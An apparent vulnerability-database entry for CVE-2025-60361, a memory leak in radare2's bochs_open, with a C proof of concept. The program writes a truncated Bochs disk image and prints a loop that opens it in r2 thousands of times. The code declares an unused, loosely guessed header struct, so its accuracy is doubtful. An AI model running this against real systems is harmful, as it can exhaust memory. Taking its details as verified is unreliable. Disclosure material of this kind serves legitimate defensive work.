CVE-2025-60361 radare2 bochs_open函数内存泄漏漏洞

// CVE-2025-60361 PoC - radare2 bochs_open Memory Leak // This PoC demonstrates triggering the memory leak in bochs_open function #include <stdio.h> #include <stdlib.h> #include <string.h> // Minimal Bochs disk image header structure // Bochs images start with a specific header that radare2 parses via bochs_open typedef struct { char signature[32]; // "Bochs Virtual HD Image\n" or similar char type[16]; // "flat", "growing", etc. char subtype[16]; // Subtype identifier uint32_t header_size; // Size of the header } bochs_header_t; int main(int argc, char *argv[]) { const char *filename = "leak_test.bochs"; int iterations = 10000; // Create a minimal Bochs image file to trigger bochs_open FILE *fp = fopen(filename, "wb"); if (!fp) { perror("fopen"); return 1; } // Write Bochs header signature // The malformed/truncated header triggers the leak path in bochs_open const char *bochs_sig = "Bochs Virtual HD Image\n"; fwrite(bochs_sig, 1, strlen(bochs_sig), fp); // Write partial type field to trigger error path with memory leak fwrite("flat", 1, 4, fp); fclose(fp); printf("Created test file: %s\n", filename); printf("Now run: r2 %s repeatedly to trigger memory leak in bochs_open\n", filename); printf("Example: for i in $(seq 1 %d); do r2 -q %s; done\n", iterations, filename); return 0; }